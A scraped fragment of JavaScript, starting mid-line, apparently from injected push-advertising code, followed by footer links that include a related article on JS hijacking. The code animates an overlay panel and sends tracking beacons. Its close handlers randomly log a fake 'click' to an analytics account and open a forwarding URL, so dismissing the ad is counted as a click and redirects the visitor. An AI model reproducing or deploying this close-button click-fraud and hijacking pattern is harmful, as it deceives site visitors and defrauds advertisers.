iMov=styleName=='opacity'?Math.round(parseFloat(getStyle(obj,styleName))*100):parseInt(getStyle(obj,styleName));

//2.计算速度

var speed=0;

speed=(styleJson[styleName]-iMov)/8;//缓冲处理,这边也可以是固定值

speed=speed>0?Math.ceil(speed):Math.floor(speed);//区分透明度及小数点,向上取整,向下取整

 

//3.判断是否到达预定值

if(styleJson[styleName]!=iMov){

flag=false;

if(styleName=='opacity'){//判断结果是否为透明度

obj.style[styleName]=(iMov+speed)/100;

obj.style.filter='alpha(opacity:'+(iMov+speed)+')';

}else{

obj.style[styleName]=iMov+speed+'px';

}

}

}

if(flag){//到达设定值,停止定时器,执行回调

clearInterval(obj.timer);

if(callback){callback();}

}

},10)

}

//右边箭头的点击

function left() {

//document.getElementById('content').style.width = "80%";

 

document.getElementById('contentright').style.display = "block";

document.getElementById('close').style.display = "block";

 

 

animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.8)},function(){document.getElementById('contentcenter').style.display = "block";document.getElementById('content').style.width=80+'vw';});

 

 

}

//左边TO的点击

function right() {

//document.getElementById('content').style.width = "14%";

document.getElementById('contentcenter').style.display = "none";

document.getElementById('contentright').style.display = "none";

document.getElementById('close').style.display = "none";

 

animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.14)},function(){document.getElementById('content').style.width=14+'vw';});

}

function closemodel(closeispush) {

//关闭的点击

document.getElementById('content').style.display = "none";

sendfeedback(6);

if(closeispush == 1){

sendfeedback(5);

}else if(_pushshowjs_.israndom == 0){

var rval = Number(_pushshowjs_.randomval) * 100;

var rand = Math.ceil(Math.random()*10000);

//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);

if(rval >= rand){

//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();

//var abc = decodeURIComponent(_oP78_000.clickcode);

/*abc = abc.replace(/\+/g, "");

var html = 'function feedcnzzclick(){'+abc+'}';

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.innerHTML = html;

a.appendChild(newScript);*/

_czc.push(["_setAccount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);

sendfeedback(9);

window.open(_oP78_000.forwordurl);

}

}

}

function clickCloseFeedback(closeispush){

document.getElementById('_embed_v3_dc').style.display='none';

document.getElementById('_embed_v3_frmc').src='';

sendfeedback(6);

if(closeispush == 1){

sendfeedback(5);

}else if(_pushshowjs_.israndom == 0){

var rval = Number(_pushshowjs_.randomval) * 100;

var rand = Math.ceil(Math.random()*10000);

//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);

if(rval >= rand){

//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();

//var abc = decodeURIComponent(_oP78_000.clickcode);

/*abc = abc.replace(/\+/g, "");

var html = 'function feedcnzzclick(){'+abc+'}';

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.innerHTML = html;

a.appendChild(newScript);*/

_czc.push(["_setAccount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);

sendfeedback(9);

window.open(_oP78_000.forwordurl);

}

}

};

function sendfeedback(stype){

var URL = _pushshowjs_.feedurl;

var path = _pushshowjs_.eparam;

path=decodeURIComponent(path);

path=path.replace(' ','+');

 

if (path != "") {

path = URL + path + "&stype="+stype;

} else {

path = URL;

}

var xhr;

if (window.XMLHttpRequest) {

xhr = new XMLHttpRequest();

} else {

xhr = new ActiveXObject("Microsoft.XMLHTTP");

}

xhr.open("get", path, true);

xhr.onreadystatechange = function(data) {

if (xhr.readyState == 4) {

if (xhr.status == 200) {

/*if(stype==0){

//实名推送获取内容替换占位符

replaceContent(xhr.responseText);

}else if(stype==3){

closePage();

}*/

}

}

}

 

xhr.send();

}

try{

 

_oP78_000.policyParam = _oP78_000.getPolicyParam();

if (_oP78_000.GetCookie(_oP78_000.policyParam) == null){

_oP78_000.view();

_oP78_000.removePosition();

}

}catch (err) {}

 

 

 

相关文章
js劫持
广州
cms新闻系统购买咨询
扫描关注 广州阅速软件科技有限公司
扫描关注 广州阅速科技